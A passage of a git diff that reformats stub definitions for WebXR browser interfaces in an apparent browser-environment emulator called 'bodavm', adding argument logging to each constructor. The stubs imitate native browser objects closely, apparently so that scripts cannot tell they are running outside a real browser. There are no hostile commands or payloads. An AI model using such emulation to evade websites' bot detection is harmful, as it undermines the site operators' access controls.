bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRInputSource'], "XRInputSource"); +bodavm.toolsFunc.defineProperty('XRInputSource', "handedness", { + configurable: true, + enumerable: true, + get: function handedness() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSource'].prototype, "XRInputSource", "handedness_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRInputSource', "targetRayMode", { + configurable: true, + enumerable: true, + get: function targetRayMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSource'].prototype, "XRInputSource", "targetRayMode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRInputSource', "targetRaySpace", { + configurable: true, + enumerable: true, + get: function targetRaySpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSource'].prototype, "XRInputSource", "targetRaySpace_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRInputSource', "gripSpace", { + configurable: true, + enumerable: true, + get: function gripSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSource'].prototype, "XRInputSource", "gripSpace_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRInputSource', "gamepad", { + configurable: true, + enumerable: true, + get: function gamepad() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSource'].prototype, "XRInputSource", "gamepad_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRInputSource', "profiles", { + configurable: true, + enumerable: true, + get: function profiles() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSource'].prototype, "XRInputSource", "profiles_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRInputSourceArray.js b/env_xbb_lastest_jsdom/env/XRInputSourceArray.js index 508aae9d..b036b67a 100644 --- a/env_xbb_lastest_jsdom/env/XRInputSourceArray.js +++ b/env_xbb_lastest_jsdom/env/XRInputSourceArray.js @@ -1,8 +1,57 @@ -// XRInputSourceArray对象 -bodavm.memory.globalobj['XRInputSourceArray'] = function XRInputSourceArray(){if (!(this instanceof XRInputSourceArray)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRInputSourceArray'], "XRInputSourceArray"); -bodavm.toolsFunc.defineProperty('XRInputSourceArray', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourceArray'].prototype, "XRInputSourceArray", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRInputSourceArray', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourceArray'].prototype, "XRInputSourceArray", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRInputSourceArray', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourceArray'].prototype, "XRInputSourceArray", "values", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRInputSourceArray', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourceArray'].prototype, "XRInputSourceArray", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRInputSourceArray', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourceArray'].prototype, "XRInputSourceArray", "length_get", arguments)}, set:undefined},'prototype'); +// XRInputSourceArray对象 + +bodavm.memory.globalobj['XRInputSourceArray'] = function XRInputSourceArray() { + console.log_copy('XRInputSourceArray 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRInputSourceArray)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRInputSourceArray'], "XRInputSourceArray"); +bodavm.toolsFunc.defineProperty('XRInputSourceArray', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourceArray'].prototype, "XRInputSourceArray", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRInputSourceArray', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourceArray'].prototype, "XRInputSourceArray", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRInputSourceArray', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourceArray'].prototype, "XRInputSourceArray", "values", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRInputSourceArray', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourceArray'].prototype, "XRInputSourceArray", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRInputSourceArray', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourceArray'].prototype, "XRInputSourceArray", "length_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRInputSourceEvent.js b/env_xbb_lastest_jsdom/env/XRInputSourceEvent.js index 6c6d239f..24bcb165 100644 --- a/env_xbb_lastest_jsdom/env/XRInputSourceEvent.js +++ b/env_xbb_lastest_jsdom/env/XRInputSourceEvent.js @@ -1,7 +1,35 @@ -// XRInputSourceEvent对象 -bodavm.memory.globalobj['XRInputSourceEvent'] = function XRInputSourceEvent(){if (!(this instanceof XRInputSourceEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'XRInputSourceEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRInputSourceEvent'], "XRInputSourceEvent"); -bodavm.memory.globalobj['XRInputSourceEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['XRInputSourceEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('XRInputSourceEvent', "frame", {configurable:true, enumerable:true, get:function frame (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourceEvent'].prototype, "XRInputSourceEvent", "frame_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRInputSourceEvent', "inputSource", {configurable:true, enumerable:true, get:function inputSource (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourceEvent'].prototype, "XRInputSourceEvent", "inputSource_get", arguments)}, set:undefined},'prototype'); +// XRInputSourceEvent对象 + +bodavm.memory.globalobj['XRInputSourceEvent'] = function XRInputSourceEvent() { + console.log_copy('XRInputSourceEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRInputSourceEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'XRInputSourceEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRInputSourceEvent'], "XRInputSourceEvent"); +bodavm.memory.globalobj['XRInputSourceEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['XRInputSourceEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('XRInputSourceEvent', "frame", { + configurable: true, + enumerable: true, + get: function frame() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourceEvent'].prototype, "XRInputSourceEvent", "frame_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRInputSourceEvent', "inputSource", { + configurable: true, + enumerable: true, + get: function inputSource() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourceEvent'].prototype, "XRInputSourceEvent", "inputSource_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRInputSourcesChangeEvent.js b/env_xbb_lastest_jsdom/env/XRInputSourcesChangeEvent.js index d4ef305b..7a443bdd 100644 --- a/env_xbb_lastest_jsdom/env/XRInputSourcesChangeEvent.js +++ b/env_xbb_lastest_jsdom/env/XRInputSourcesChangeEvent.js @@ -1,8 +1,43 @@ -// XRInputSourcesChangeEvent对象 -bodavm.memory.globalobj['XRInputSourcesChangeEvent'] = function XRInputSourcesChangeEvent(){if (!(this instanceof XRInputSourcesChangeEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'XRInputSourcesChangeEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRInputSourcesChangeEvent'], "XRInputSourcesChangeEvent"); -bodavm.memory.globalobj['XRInputSourcesChangeEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['XRInputSourcesChangeEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('XRInputSourcesChangeEvent', "session", {configurable:true, enumerable:true, get:function session (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourcesChangeEvent'].prototype, "XRInputSourcesChangeEvent", "session_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRInputSourcesChangeEvent', "added", {configurable:true, enumerable:true, get:function added (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourcesChangeEvent'].prototype, "XRInputSourcesChangeEvent", "added_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRInputSourcesChangeEvent', "removed", {configurable:true, enumerable:true, get:function removed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourcesChangeEvent'].prototype, "XRInputSourcesChangeEvent", "removed_get", arguments)}, set:undefined},'prototype'); +// XRInputSourcesChangeEvent对象 + +bodavm.memory.globalobj['XRInputSourcesChangeEvent'] = function XRInputSourcesChangeEvent() { + console.log_copy('XRInputSourcesChangeEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRInputSourcesChangeEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'XRInputSourcesChangeEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRInputSourcesChangeEvent'], "XRInputSourcesChangeEvent"); +bodavm.memory.globalobj['XRInputSourcesChangeEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['XRInputSourcesChangeEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('XRInputSourcesChangeEvent', "session", { + configurable: true, + enumerable: true, + get: function session() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourcesChangeEvent'].prototype, "XRInputSourcesChangeEvent", "session_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRInputSourcesChangeEvent', "added", { + configurable: true, + enumerable: true, + get: function added() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourcesChangeEvent'].prototype, "XRInputSourcesChangeEvent", "added_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRInputSourcesChangeEvent', "removed", { + configurable: true, + enumerable: true, + get: function removed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourcesChangeEvent'].prototype, "XRInputSourcesChangeEvent", "removed_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRLayer.js b/env_xbb_lastest_jsdom/env/XRLayer.js index 2dcc3b21..a2a4a2b7 100644 --- a/env_xbb_lastest_jsdom/env/XRLayer.js +++ b/env_xbb_lastest_jsdom/env/XRLayer.js @@ -1,5 +1,19 @@ -// XRLayer对象 -bodavm.memory.globalobj['XRLayer'] = function XRLayer(){if (!(this instanceof XRLayer)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRLayer'], "XRLayer"); -bodavm.memory.globalobj['XRLayer'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['XRLayer'].__proto__=bodavm.memory.globalobj['EventTarget']; +// XRLayer对象 + +bodavm.memory.globalobj['XRLayer'] = function XRLayer() { + console.log_copy('XRLayer 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRLayer)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRLayer'], "XRLayer"); +bodavm.memory.globalobj['XRLayer'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['XRLayer'].__proto__ = bodavm.memory.globalobj['EventTarget']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRLightEstimate.js b/env_xbb_lastest_jsdom/env/XRLightEstimate.js index 2420bee1..6fcccc20 100644 --- a/env_xbb_lastest_jsdom/env/XRLightEstimate.js +++ b/env_xbb_lastest_jsdom/env/XRLightEstimate.js @@ -1,6 +1,41 @@ -// XRLightEstimate对象 -bodavm.memory.globalobj['XRLightEstimate'] = function XRLightEstimate(){if (!(this instanceof XRLightEstimate)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRLightEstimate'], "XRLightEstimate"); -bodavm.toolsFunc.defineProperty('XRLightEstimate', "sphericalHarmonicsCoefficients", {configurable:true, enumerable:true, get:function sphericalHarmonicsCoefficients (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRLightEstimate'].prototype, "XRLightEstimate", "sphericalHarmonicsCoefficients_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRLightEstimate', "primaryLightDirection", {configurable:true, enumerable:true, get:function primaryLightDirection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRLightEstimate'].prototype, "XRLightEstimate", "primaryLightDirection_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRLightEstimate', "primaryLightIntensity", {configurable:true, enumerable:true, get:function primaryLightIntensity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRLightEstimate'].prototype, "XRLightEstimate", "primaryLightIntensity_get", arguments)}, set:undefined},'prototype'); +// XRLightEstimate对象 + +bodavm.memory.globalobj['XRLightEstimate'] = function XRLightEstimate() { + console.log_copy('XRLightEstimate 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRLightEstimate)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRLightEstimate'], "XRLightEstimate"); +bodavm.toolsFunc.defineProperty('XRLightEstimate', "sphericalHarmonicsCoefficients", { + configurable: true, + enumerable: true, + get: function sphericalHarmonicsCoefficients() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRLightEstimate'].prototype, "XRLightEstimate", "sphericalHarmonicsCoefficients_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRLightEstimate', "primaryLightDirection", { + configurable: true, + enumerable: true, + get: function primaryLightDirection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRLightEstimate'].prototype, "XRLightEstimate", "primaryLightDirection_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRLightEstimate', "primaryLightIntensity", { + configurable: true, + enumerable: true, + get: function primaryLightIntensity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRLightEstimate'].prototype, "XRLightEstimate", "primaryLightIntensity_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRLightProbe.js b/env_xbb_lastest_jsdom/env/XRLightProbe.js index 2f057fde..25ae9831 100644 --- a/env_xbb_lastest_jsdom/env/XRLightProbe.js +++ b/env_xbb_lastest_jsdom/env/XRLightProbe.js @@ -1,7 +1,37 @@ -// XRLightProbe对象 -bodavm.memory.globalobj['XRLightProbe'] = function XRLightProbe(){if (!(this instanceof XRLightProbe)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRLightProbe'], "XRLightProbe"); -bodavm.memory.globalobj['XRLightProbe'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['XRLightProbe'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('XRLightProbe', "probeSpace", {configurable:true, enumerable:true, get:function probeSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRLightProbe'].prototype, "XRLightProbe", "probeSpace_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRLightProbe', "onreflectionchange", {configurable:true, enumerable:true, get:function onreflectionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRLightProbe'].prototype, "XRLightProbe", "onreflectionchange_get", arguments)}, set:function onreflectionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRLightProbe'].prototype, "XRLightProbe", "onreflectionchange_set", arguments)}},'prototype'); +// XRLightProbe对象 + +bodavm.memory.globalobj['XRLightProbe'] = function XRLightProbe() { + console.log_copy('XRLightProbe 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRLightProbe)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRLightProbe'], "XRLightProbe"); +bodavm.memory.globalobj['XRLightProbe'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['XRLightProbe'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('XRLightProbe', "probeSpace", { + configurable: true, + enumerable: true, + get: function probeSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRLightProbe'].prototype, "XRLightProbe", "probeSpace_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRLightProbe', "onreflectionchange", { + configurable: true, + enumerable: true, + get: function onreflectionchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRLightProbe'].prototype, "XRLightProbe", "onreflectionchange_get", arguments); + }, + set: function onreflectionchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRLightProbe'].prototype, "XRLightProbe", "onreflectionchange_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRPose.js b/env_xbb_lastest_jsdom/env/XRPose.js index 62b75b4c..9a16cd9e 100644 --- a/env_xbb_lastest_jsdom/env/XRPose.js +++ b/env_xbb_lastest_jsdom/env/XRPose.js @@ -1,5 +1,33 @@ -// XRPose对象 -bodavm.memory.globalobj['XRPose'] = function XRPose(){if (!(this instanceof XRPose)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRPose'], "XRPose"); -bodavm.toolsFunc.defineProperty('XRPose', "transform", {configurable:true, enumerable:true, get:function transform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRPose'].prototype, "XRPose", "transform_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRPose', "emulatedPosition", {configurable:true, enumerable:true, get:function emulatedPosition (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRPose'].prototype, "XRPose", "emulatedPosition_get", arguments)}, set:undefined},'prototype'); +// XRPose对象 + +bodavm.memory.globalobj['XRPose'] = function XRPose() { + console.log_copy('XRPose 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRPose)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRPose'], "XRPose"); +bodavm.toolsFunc.defineProperty('XRPose', "transform", { + configurable: true, + enumerable: true, + get: function transform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRPose'].prototype, "XRPose", "transform_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRPose', "emulatedPosition", { + configurable: true, + enumerable: true, + get: function emulatedPosition() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRPose'].prototype, "XRPose", "emulatedPosition_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRRay.js b/env_xbb_lastest_jsdom/env/XRRay.js index 5b9db8f1..1d3d213e 100644 --- a/env_xbb_lastest_jsdom/env/XRRay.js +++ b/env_xbb_lastest_jsdom/env/XRRay.js @@ -1,6 +1,38 @@ -// XRRay对象 -bodavm.memory.globalobj['XRRay'] = function XRRay(){this._boarg= new bodaobj.window.XRRay();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRRay'], "XRRay"); -bodavm.toolsFunc.defineProperty('XRRay', "origin", {configurable:true, enumerable:true, get:function origin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRay'].prototype, "XRRay", "origin_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRRay', "direction", {configurable:true, enumerable:true, get:function direction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRay'].prototype, "XRRay", "direction_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRRay', "matrix", {configurable:true, enumerable:true, get:function matrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRay'].prototype, "XRRay", "matrix_get", arguments)}, set:undefined},'prototype'); +// XRRay对象 + +bodavm.memory.globalobj['XRRay'] = function XRRay() { + console.log_copy('XRRay 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.XRRay(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRRay'], "XRRay"); +bodavm.toolsFunc.defineProperty('XRRay', "origin", { + configurable: true, + enumerable: true, + get: function origin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRay'].prototype, "XRRay", "origin_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRRay', "direction", { + configurable: true, + enumerable: true, + get: function direction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRay'].prototype, "XRRay", "direction_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRRay', "matrix", { + configurable: true, + enumerable: true, + get: function matrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRay'].prototype, "XRRay", "matrix_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRReferenceSpace.js b/env_xbb_lastest_jsdom/env/XRReferenceSpace.js index a12ca1d1..570b52be 100644 --- a/env_xbb_lastest_jsdom/env/XRReferenceSpace.js +++ b/env_xbb_lastest_jsdom/env/XRReferenceSpace.js @@ -1,7 +1,37 @@ -// XRReferenceSpace对象 -bodavm.memory.globalobj['XRReferenceSpace'] = function XRReferenceSpace(){if (!(this instanceof XRReferenceSpace)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRReferenceSpace'], "XRReferenceSpace"); -bodavm.memory.globalobj['XRReferenceSpace'].prototype.__proto__=bodavm.memory.globalobj['XRSpace'].prototype; -bodavm.memory.globalobj['XRReferenceSpace'].__proto__=bodavm.memory.globalobj['XRSpace']; -bodavm.toolsFunc.defineProperty('XRReferenceSpace', "onreset", {configurable:true, enumerable:true, get:function onreset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRReferenceSpace'].prototype, "XRReferenceSpace", "onreset_get", arguments)}, set:function onreset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRReferenceSpace'].prototype, "XRReferenceSpace", "onreset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRReferenceSpace', "getOffsetReferenceSpace", {configurable:true, enumerable:true, writable:true, value:function getOffsetReferenceSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRReferenceSpace'].prototype, "XRReferenceSpace", "getOffsetReferenceSpace", arguments)}},'prototype'); +// XRReferenceSpace对象 + +bodavm.memory.globalobj['XRReferenceSpace'] = function XRReferenceSpace() { + console.log_copy('XRReferenceSpace 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRReferenceSpace)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRReferenceSpace'], "XRReferenceSpace"); +bodavm.memory.globalobj['XRReferenceSpace'].prototype.__proto__ = bodavm.memory.globalobj['XRSpace'].prototype; +bodavm.memory.globalobj['XRReferenceSpace'].__proto__ = bodavm.memory.globalobj['XRSpace']; +bodavm.toolsFunc.defineProperty('XRReferenceSpace', "onreset", { + configurable: true, + enumerable: true, + get: function onreset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRReferenceSpace'].prototype, "XRReferenceSpace", "onreset_get", arguments); + }, + set: function onreset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRReferenceSpace'].prototype, "XRReferenceSpace", "onreset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRReferenceSpace', "getOffsetReferenceSpace", { + configurable: true, + enumerable: true, + writable: true, + value: function getOffsetReferenceSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRReferenceSpace'].prototype, "XRReferenceSpace", "getOffsetReferenceSpace", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRReferenceSpaceEvent.js b/env_xbb_lastest_jsdom/env/XRReferenceSpaceEvent.js index 1dd8fff7..82a99ea6 100644 --- a/env_xbb_lastest_jsdom/env/XRReferenceSpaceEvent.js +++ b/env_xbb_lastest_jsdom/env/XRReferenceSpaceEvent.js @@ -1,7 +1,35 @@ -// XRReferenceSpaceEvent对象 -bodavm.memory.globalobj['XRReferenceSpaceEvent'] = function XRReferenceSpaceEvent(){if (!(this instanceof XRReferenceSpaceEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'XRReferenceSpaceEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRReferenceSpaceEvent'], "XRReferenceSpaceEvent"); -bodavm.memory.globalobj['XRReferenceSpaceEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['XRReferenceSpaceEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('XRReferenceSpaceEvent', "referenceSpace", {configurable:true, enumerable:true, get:function referenceSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRReferenceSpaceEvent'].prototype, "XRReferenceSpaceEvent", "referenceSpace_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRReferenceSpaceEvent', "transform", {configurable:true, enumerable:true, get:function transform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRReferenceSpaceEvent'].prototype, "XRReferenceSpaceEvent", 